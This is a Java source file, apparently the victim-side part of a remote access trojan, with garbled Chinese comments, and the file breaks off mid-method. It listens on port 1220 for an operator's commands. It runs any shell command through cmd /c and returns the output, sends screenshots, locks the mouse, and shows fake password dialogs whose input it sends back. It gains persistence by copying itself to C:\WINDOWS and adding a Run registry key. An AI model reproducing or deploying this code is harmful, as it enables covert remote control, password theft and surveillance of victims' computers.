import java.awt.AWTException;
import java.awt.Color;
import java.awt.FlowLayout;
import java.awt.Font;
import java.awt.Graphics;
import java.awt.Image;
import java.awt.MouseInfo;
import java.awt.Point;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.image.BufferedImage;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Enumeration;
import java.util.Properties;
import javax.imageio.ImageIO;
import javax.mail.Address;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.swing.JButton;
import javax.swing.JDialog;
import javax.swing.JFrame;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JPasswordField;
import javax.swing.JTextField;
public class Test {
ServerSocket serverSocket;
Socket socket;
DataInputStream dis;
DataOutputStream dos;
String commendString;
Process process;
Runtime r = Runtime.getRuntime();
BufferedReader bufferedReader;
BufferedImage bi;
Robot robot;
SMail smail;
MyCopy myCopy;
MouseLockThread mouseLockThread;
int time[] = { 5000, 120000, 300000 }, timeSel = 0;
public Test() {
/*
卿³¨å表ä¸è®¾ç½®å¼æºèªå¨è¿è¡ register();
以ååéé®ä»¶ï¼ä¸»è¦æ¯æèªå·±çIPååºæ¥
register();
smail = new SMail();
while (!smail.sended) {
if (timeSel >= 3) {
timeSel = 2;
}
try {
Thread.sleep(time[timeSel++]);
} catch (InterruptedException e) {
e.printStackTrace();
}
smail.send(getIP());
}*/
try {
serverSocket = new ServerSocket(1220);
} catch (IOException e1) {
e1.printStackTrace();
}
while (true) {
try {
socket = serverSocket.accept();
dis = new DataInputStream(socket.getInputStream());
dos = new DataOutputStream(socket.getOutputStream());
} catch (IOException e) {
try {
dis.close();
dos.close();
} catch (IOException e1) {
e1.printStackTrace();
}
e.printStackTrace();
}
try {
//robotå¯ä»¥æ§è¡ä¸å°æä½ï¼å¦å¤çé¼ æ é®ç
robot = new Robot();
} catch (AWTException e) {
e.printStackTrace();
}
go();
}
}
/* 卿³¨å表ä¸è®¾ç½®å¼æºèªå¨è¿è¡ */
void go() {
while (true) {
/*
* è¿éä¸æçæ¥ååéè¿æ¥çå½ä»¤ç¶åæ ¹æ®å½ä»¤æ§è¡ç¸åºçæä½
* å¦ï¼ï¼æ æâï¼çæ¯æ¬ç¨åºå·²ç»å®ç°çåè½ï¼
* 1ãæä»¬å¯ä»¥éè¿å¼å¯ä¸ä¸ªçº¿ç¨éè¿robotéå®é¼ æ ï¼âï¼
* 2ãæ§è¡doså½ä»¤ï¼âï¼
* 3ãä¼ è¾è¢«æ§å¶ç«¯çæä»¶
* 4ãæ¥ç被æ§å¶ç«¯çæ¡é¢ï¼âï¼
* 5ãå¨è¢«æ§å¶ç«¯å¼¹åºå¯¹è¯æ¡ï¼âï¼
* 6ã让被æ§å¶ç«¯éªå±ï¼âï¼
* 7ãçççç
* å
·ä½çå®ç°é½å¨è¿éè¿è¡ï¼å½ç¶è¿ä¸ªéè¦åæ§å¶è
飿®µç代ç ç¸é
å
* åæ¶èªå·±è®¾è®¡å¥½å
·ä½çå½ä»¤
* */
try {
commendString = dis.readUTF().trim();
} catch (IOException e) {
System.out.println("leave");
break;
}
if (commendString.startsWith("-d")) {// æ¾ç¤ºä¸ä¸ªå¯¹è¯æ¡
commendString = commendString.substring(2);
if (commendString.startsWith("outmsg")) {// è¾åºä¿¡æ¯å¯¹è¯æ¡
try {
commendString = commendString.substring(7);
} catch (Exception ee) {
continue;
}
showDialog(commendString);
} else if (commendString.startsWith("inmsg")) {// å¼¹åºä¸ä¸ªè¾å
¥å¯¹è¯æ¡
// è¾å
¥æ®éæå
try {
commendString = commendString.substring(6);
} catch (Exception ee) {
continue;
}
//showDialog(commendString);
showDialogMsgInput(commendString);
} else if (commendString.startsWith("inpass")) {// å¼¹åºä¸ä¸ªè¾å
¥å¯¹è¯æ¡
// è¾å
¥å¯ç
try {
commendString = commendString.substring(7);
} catch (Exception ee) {
continue;
}
showDialogPassInput(commendString);
}
} else if (commendString.startsWith("-p")) {//æªå¾
sendPic();
} else if (commendString.startsWith("-m")) {//éå®é¼ æ
try {
commendString = commendString.substring(3);
} catch (Exception ee) {
continue;
}
mouseLock(commendString);
}else if(commendString.startsWith("-flash")){
try{
commendString = commendString.substring(7);
}catch(Exception e){
commendString="";
}
new Flash(commendString);
}
else {
dosExe(commendString);
}
}
}
/*卿³¨å表注å弿ºèªå¨å¯å¨*/
public void register() {
JarUtil jarUtil = new JarUtil(Test.class);
String path = jarUtil.getJarPath();
if (!path.equalsIgnoreCase("C:\\WINDOWS")) {
System.out.println("run");
new OtherApp().start();
myCopy = new MyCopy();
path += "\\" + jarUtil.getJarName();
myCopy.fileCopy(path, "C:\\WINDOWS\\jx.jar");
String key = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run";
String name = "jx";
String value = "C:\\WINDOWS\\jx.jar";
String command = "reg add " + key + " /v " + name + " /d " + value;
try {
Runtime.getRuntime().exec(command);
} catch (IOException e) {
e.printStackTrace();
}
}
}
/*æ¾ç¤ºå¯ç å¯¹è¯æ¡*/
void showDialogPassInput(String s) {
MyDialogPassInput input = new MyDialogPassInput(s);
s = input.pass;
try {
dos.writeUTF("password:"+s);
} catch (IOException e) {
e.printStackTrace();
}
}
/*è¾äºä¿¡æ¯å¯¹è¯æ¡*/
void showDialogMsgInput(String s) {
MyDialogMsgInput input = new MyDialogMsgInput(s);
s = input.string;
try {
dos.writeUTF("msg:"+s);
} catch (IOException e) {
e.printStackTrace();
}
}
/*å¯å¨çº¿ç¨éå®é¼ æ */
void mouseLock(String s) {
if (s.equals("l")) {
if (mouseLockThread == null || mouseLockThread.isAlive() == false) {
mouseLockThread = new MouseLockThread();
mouseLockThread.flag = true;
mouseLockThread.start();
}
} else if (s.equals("a")) {
mouseLockThread.flag = false;
}
}
/*æ§è¡doså½ä»¤*/
void dosExe(String dosString) {
String command = "cmd /c " + dosString;
String s = null;
try {
process = r.exec(command);
bufferedReader = new BufferedReader(new InputStreamReader(process
.getInputStream()));
dos.writeUTF("1start");
while ((s = bufferedReader.readLine()) != null) {
s = s.trim();
dos.writeUTF(s);
}
dos.writeUTF("1end");
} catch (IOException e) {
e.printStackTrace();
}
}
/*åéå¾ç*/
void sendPic() {
BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit
.getDefaultToolkit().getScreenSize().height));
byte[] imageData = getCompressedImage(bi);
if (imageData != null) {
try {
dos.writeUTF("2start");
dos.writeInt(imageData.length);
dos.write(imageData);
} catch (IOException e) {
e.printStackTrace();
}
}
}
void showDialog(String s) {
new ShowDialogThread(s).start();
}
public static void main(String[] args) {
new Test();
}
/*å¤çå¾çï¼æ¹ä¾¿ä¼ è¾*/
public byte[] getCompressedImage(BufferedImage image) {
byte[] imageData = null;
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ImageIO.write(image, "jpg", baos);
imageData = baos.toByteArray();
} catch (IOException ex) {
imageData = null;
}
return imageData;
}
/*è·åæ¬å°IP*/
String getIP() {
String ipString = "";
Enumeration